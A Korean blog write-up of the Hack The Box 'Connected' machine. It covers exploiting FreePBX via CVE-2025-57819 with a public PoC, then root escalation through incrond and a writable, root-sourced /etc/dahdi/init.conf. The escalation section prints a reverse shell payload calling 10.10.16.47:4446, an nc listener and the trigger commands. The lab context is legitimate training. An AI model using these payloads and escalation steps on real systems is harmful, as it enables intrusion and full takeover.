[HTB] Connected (Easy_Linux)
🔒 보호된 글입니다
HTB Active 머신 스포일러 방지 등 암호가 걸려있는 포스트입니다.
비밀번호가 일치하지 않습니다.
Congratulations OilLampCat! You are player #1173 to have solved Connected.
1. 시작에 앞서
오랜만에 여행 다녀와서 다시 풀어본 리눅스 문제.
easy 난이도이기도 하고 초기 침투 부분이 딸깍으로 풀려버려서 점수가 2.7 대가 나온듯 하다.
이번엔 복잡한 부분이 그다지 없었기에 세부 목록을 나누지는 않겠다.
2. 정찰 및 정보 수집 (Reconnaissance & Enumeration)
nmap의 결과에서 22, 80, 443번 포트가 열려있음을 확인할 수 있었다.
ip와 dns도 시켜주고
사이트에 방문해보면 작아서 잘 안보이겠지만 저 아래 FreePBX 16.0.40.7이라는 버전을 볼 수 있다.
구글에 버전을 이용해 취약점을 검색하면 바로 여러가지가 나온다.
그 중 특히 CVE-2025-57819가 눈에 띈다. Unauthenticated RCE/SQLi라니!
3. 초기 침투 (Initial Foothold / Exploitation)
이제 초기 침투를 진행하기에 앞서 github를 통해 공격에 쓸 poc 코드를 찾아보자.
b4sh2/CVE-2025-57819-poc코드를 이용했다.
코드를 실행시키면 위와같이 FreePBX 라는 것이 실행되며 쉘에 접속을 할 수 있고 여기 userflag가 있다.
4. 권한 상승 (Privilege Escalation)
그룹과 id를 확인해보니 asterisk로 되어있었고
sudo -l의 경우 TTY가 존재하지 않는다면서 사용 불가능했다.
그룹 권한으로 찾아봤을 땐 또 뭐가 엄청 많았고 그걸 다 둘러보기 전 crontab을 둘러봤다만 흠… 딱히?
프로세스를 스캔하면서 커널쪽 프로세스는 제거하여 보니 find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null 을 이용했을 때 봤던 /usr/sbin/incrond 라는 데몬이 루트 권한으로 돌고 있는 것을 확인했다.
혹시 내부에서 돌고있는 포트가 있나 하여 찾아봤지만 여기도 딱히?
4-1. incrond
일단 찾았던 incrond가 있으니 이게 무엇인지 간단히 알아보자.
incrond (Inotify Cron Daemon)
crond는 시간마다 감시하고 그런거라면 이녀석은 리눅스에서 파일 시스템의 변화(이벤트)를 감지하고 자동화 명령을 실행하는 백그라운드 서비스이다.
그리고 이번 문제를 푸는데 있어 아주 중요한 역할을 하는 것이기도 하고.
위처럼 /etc/incron.d/를 읽어보면
감시 대상 / 이벤트 / 실행할 명령 순으로 구성되어있다.
이벤트
IN_CREATE: 파일/폴더가 생성될 때IN_MODIFY: 파일 내용이 수정될 때IN_CLOSE_WRITE: 파일을 쓰기 모드로 열었다가 저장하고 닫을 때
4-1. incrond 이용하기
게다가 권한을 확인해보니 incron.d는 root 권한으로 실행은 되는데 그게 실행시키는 스크립트들이 asterisk 즉 내가 갖고있는 유저의 소유인데다가 수정이 가능했다.
근데 지금 보면 다른 것들은 incron 뒤에 나오는 명령어부분을 다 열어보며 둘러봤을 때 딱히 취약한 부분을 찾지 못했는데 /usr/sbin/sysadmin_dahdi_restart를 열어보니 /etc/init.d/dahdi로 명령어를 실행시키고 이걸 또 들어가보니
여기서 . 기호로 (source) /etc/dahdi/init.conf 파일을 실행한다.
좀 뭔가 꼬여서 설명을 하고 있는데 정리를 해보자면
1
2
3
4
5
6
7
8
9
[방아쇠 발생] dahdi_restart 파일 변경
↓
[incron 데몬] Root 권한으로 /usr/sbin/sysadmin_dahdi_restart 실행
↓
[서비스 제어] Root 권한으로 /etc/init.d/dahdi restart 실행
↓
[취약점 포인트] Root 권한 상태에서 /etc/dahdi/init.conf 파일을 '.'(Source) 기호로 불러와 실행
↓
(이때 /etc/dahdi/init.conf 파일은 일반 유저인 asterisk가 마음대로 수정할 수 있는 상태!)
이렇게 되어있겠다.
4-3. 최종 권한 상승 (Exploitation)
이제 모든 퍼즐 조각이 맞춰졌으니, Root 권한으로 실행되는 /etc/dahdi/init.conf 파일 맨 뒤에 나한테 연결될 리버스 쉘 페이로드를 주입할 차례이다.
여기서 아주 흥미로운 사각지대와 함정이 존재했는데, 백엔드 스크립트가 init.conf를 불러오는 시점에는 아직 시스템 환경 변수($PATH)에 파이썬 3 등이 위치한 /usr/local/bin 경로가 등록되지 않은 상태였다. 게다가 부모 쉘이 /bin/sh 기반이라 일반적인 /dev/tcp 문법도 단독으로는 먹히지 않았다.
이 함정을 파괴하기 위해, 환경 변수의 영향을 받지 않고 /bin/sh 내부에서도 Bash의 내장 네트워크 기능을 강제로 깨울 수 있는 절대 경로 기반의 Bash 페이로드를 설계하여 주입했다.
1
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.16.47/4446 0>&1" &' >> /etc/dahdi/init.conf
/bin/bash -c 절대경로를 지정해줬다.
그리고 다른 창에서 rlwrap -cAr nc -lvnp 4446 로 리스너를 열어준 후
1
2
echo 'trigger2' > /var/spool/asterisk/sysadmin/dahdi_restart
touch /var/spool/asterisk/sysadmin/dahdi_restart
위 명령어로 incrond 데몬에 IN_CLOSE_WRITE 이벤트를 발생시키면?
리버스 쉘을 받을 수 있었다.
루트 계정으로 받았기에 플래그를 읽어주면? 끝!
마치며
리눅스 문제 하나 끝!
이번 문제는 그래도 하루안에 끝내버려서 다음 문제를 또 풀어야 할지도?























